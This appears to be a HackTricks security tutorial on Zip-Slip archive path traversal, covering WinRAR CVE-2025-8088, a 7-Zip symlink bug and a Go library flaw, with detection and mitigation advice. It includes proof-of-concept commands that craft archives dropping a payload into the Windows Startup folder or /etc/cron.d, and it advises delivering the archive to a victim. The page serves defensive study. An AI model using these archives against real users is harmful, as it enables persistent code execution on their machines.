Archive Extraction Path Traversal (βZip-Slipβ / WinRAR CVE-2025-8088)
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the π¬ Discord group or the telegram group or follow us on Twitter π¦ @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Overview
Many archive formats (ZIP, RAR, TAR, 7-ZIP, etc.) allow each entry to carry its own internal path. When an extraction utility blindly honours that path, a crafted filename containing .. or an absolute path (e.g. C:\Windows\System32\) will be written outside of the user-chosen directory.
This class of vulnerability is widely known as Zip-Slip or archive extraction path traversal.
Consequences range from overwriting arbitrary files to directly achieving remote code execution (RCE) by dropping a payload in an auto-run location such as the Windows Startup folder.
Root Cause
- Attacker creates an archive where one or more file headers contain:
- Relative traversal sequences (
..\..\..\Users\\victim\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe) - Absolute paths (
C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\payload.exe) - Or crafted symlinks that resolve outside the target dir (common in ZIP/TAR on nix).
- Relative traversal sequences (
- Victim extracts the archive with a vulnerable tool that trusts the embedded path (or follows symlinks) instead of sanitising it or forcing extraction beneath the chosen directory.
- The file is written in the attacker-controlled location and executed/loaded next time the system or user triggers that path.
Real-World Example β WinRAR β€ 7.12 (CVE-2025-8088)
WinRAR for Windows (including the rar / unrar CLI, the DLL and the portable source) failed to validate filenames during extraction.
A malicious RAR archive containing an entry such as:
..\..\..\Users\victim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.exe
would end up outside the selected output directory and inside the userβs Startup folder. After logon Windows automatically executes everything present there, providing persistent RCE.
Crafting a PoC Archive (Linux/Mac)
# Requires rar >= 6.x
mkdir -p "evil/../../../Users/Public/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup"
cp payload.exe "evil/../../../Users/Public/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/"
rar a -ep evil.rar evil/*
Options used:
-epβ store file paths exactly as given (do not prune leading./).
Deliver evil.rar to the victim and instruct them to extract it with a vulnerable WinRAR build.
Observed Exploitation in the Wild
ESET reported RomCom (Storm-0978/UNC2596) spear-phishing campaigns that attached RAR archives abusing CVE-2025-8088 to deploy customised backdoors and facilitate ransomware operations.
Newer Cases (2024β2025)
7-Zip ZIP symlink traversal β RCE (CVE-2025-11001 / ZDI-25-949)
- Bug: ZIP entries that are symbolic links were dereferenced during extraction, letting attackers escape the destination directory and overwrite arbitrary paths. User interaction is just opening/extracting the archive.
- Affected: 7-Zip 21.02β24.09 (Windows & Linux builds). Fixed in 25.00 (July 2025) and later.
- Impact path: Overwrite
Start Menu/Programs/Startupor service-run locations β code runs at next logon or service restart. - Quick PoC (Linux):
On a patched buildmkdir -p out ln -s /etc/cron.d evil zip -y exploit.zip evil # -y preserves symlinks 7z x exploit.zip -o/tmp/target # vulnerable 7-Zip writes to /etc/cron.d/etc/cron.dwonβt be touched; the symlink is extracted as a link inside /tmp/target.
Go mholt/archiver Unarchive() Zip-Slip (CVE-2025-3445)
- Bug:
archiver.Unarchive()follows../and symlinked ZIP entries, writing outsideoutputDir. - Affected:
github.com/mholt/archiverβ€ 3.5.1 (project now deprecated). - Fix: Switch to
mholt/archivesβ₯ 0.1.0 or implement canonical-path checks before write. - Minimal reproduction:
// go test . with archiver<=3.5.1 archiver.Unarchive("exploit.zip", "/tmp/safe") // exploit.zip holds ../../../../home/user/.ssh/authorized_keys
Detection Tips
- Static inspection β List archive entries and flag any name containing
../,..\\, absolute paths (/,C:) or entries of type symlink whose target is outside the extraction dir. - Canonicalisation β Ensure
realpath(join(dest, name))still starts withdest. Reject otherwise. - Sandbox extraction β Decompress into a disposable directory using a safe extractor (e.g.,
bsdtar --safe --xattrs --no-same-owner, 7-Zip β₯ 25.00) and verify resulting paths stay inside the directory. - Endpoint monitoring β Alert on new executables written to
Startup/Run/cronlocations shortly after an archive is opened by WinRAR/7-Zip/etc.
Mitigation & Hardening
- Update the extractor β WinRAR 7.13+ and 7-Zip 25.00+ implement path/symlink sanitisation. Both tools still lack auto-update.
- Extract archives with βDo not extract pathsβ / βIgnore pathsβ when possible.
- On Unix, drop privileges & mount a chroot/namespace before extraction; on Windows, use AppContainer or a sandbox.
- If writing custom code, normalise with
realpath()/PathCanonicalize()before create/write, and reject any entry that escapes the destination.
Additional Affected / Historical Cases
- 2018 β Massive Zip-Slip advisory by Snyk affecting many Java/Go/JS libraries.
- 2023 β 7-Zip CVE-2023-4011 similar traversal during
-aomerge. - 2025 β HashiCorp
go-slug(CVE-2025-0377) TAR extraction traversal in slugs (patch in v1.2). - Any custom extraction logic that fails to call
PathCanonicalize/realpathprior to write.
References
- Trend Micro ZDI-25-949 β 7-Zip symlink ZIP traversal (CVE-2025-11001)
- JFrog Research β mholt/archiver Zip-Slip (CVE-2025-3445)
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the π¬ Discord group or the telegram group or follow us on Twitter π¦ @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
HackTricks

